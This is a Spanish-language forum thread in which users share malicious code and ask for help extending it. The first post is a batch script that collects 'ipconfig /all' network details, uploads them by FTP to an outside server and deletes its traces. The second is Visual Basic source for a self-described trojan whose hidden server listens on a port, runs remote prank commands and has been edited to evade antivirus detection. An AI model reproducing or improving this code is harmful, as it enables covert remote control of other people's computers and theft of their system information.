Temas

hola quiero saber como hacer para con este code poder recibir el archivo a una carpeta especial del ftp....por que lo recibo en la pagina principal del ftp...y quiero recibirlo en una carpeta esepcial.....Como hago?? Salu2

Código [Seleccionar] Expandir

@echo off
echo USUARIO>c:\1.txt
echo PASS>c:\2.txt
echo send c:\ipconfig.txt>c:\3.txt
echo bye>c:\4.txt
ipconfig/all>c:\ipconfig.txt
copy /b c:\1.txt c:\datos.txt
copy /b c:\datos.txt+c:\2.txt c:\datos.txt
copy /b c:\datos.txt+c:\3.txt c:\datos.txt
copy /b c:\datos.txt+c:\4.txt c:\datos.txt
cls
ftp -s:c:\datos.txt ftp.MISERVIDOR.com
del c:\1.txt
del c:\2.txt
del c:\3.txt
del c:\4.txt
del c:\datos.txt
del c:\ipconfig.txt

hola tengo un troyano qeu solo sirve para mandar bromas....y no puedo agregar para poder apagar y reiniciar la pc..... y tambien si me pueden decir como ponerle otras bromas.....aca les dejo el code.....Gracias:

winsock

Este es el Cliente......:

Código [Seleccionar] Expandir

Private Sub cdc_Click()
clijent.SendData "cdc"
DoEvents
End Sub

Private Sub cdo_Click()
clijent.SendData "cdo"
DoEvents
End Sub

Private Sub ch_Click()
clijent.SendData "c"
DoEvents
End Sub

Private Sub Command1_Click()
clijent.Close
clijent.Connect Text1.Text, 2320
End Sub

Private Sub Form_Unload(Cancel As Integer)
clijent.Close
End
End Sub

Private Sub Hd_Click()
clijent.SendData "hd"
DoEvents
End Sub

Private Sub Ht_Click()
clijent.SendData "ht"
DoEvents
End Sub




Private Sub Image8_Click()
Unload Me
End Sub

Private Sub sc_Click()
clijent.SendData "co"
DoEvents
End Sub

Private Sub Sd_Click()
clijent.SendData "sd"
DoEvents
End Sub

Private Sub st_Click()
clijent.SendData "st"
DoEvents
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command1 = True
End Sub

Private Sub Timer1_Timer()
Label1.Caption = clijent.State
End Sub



Este Es El Server....:

Código [Seleccionar] Expandir

Option Explicit
Private Sub Form_load()
    Me.Hide
    server.Close
    server.Listen
    App.TaskVisible = False
    Me.Hide
End Sub


Private Sub Form_Unload(Cancel As Integer)
    server.Close
End Sub

Private Sub server_ConnectionRequest(ByVal requestID As Long)
    server.Close
    server.Accept requestID
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
    Dim tmpData As String
    server.GetData tmpData
    Select Case tmpData
        Case "cdc"
            CloseCDROM
           
        Case "ht"
            TaskBarHide
        Case "st"
            TaskBarShow
        Case "hd"
            DesktopIconsHide
        Case "sd"
            DesktopIconsShow
        Case "c"
            FlipMouseButtons
        Case "co"
            FlipMouseButtonsBack
           
    End Select
End Sub


El De Open Cd Rom lo borre por que me analizaba el troayano como virus asi que borre la linea de Open Cd Rom


Salu2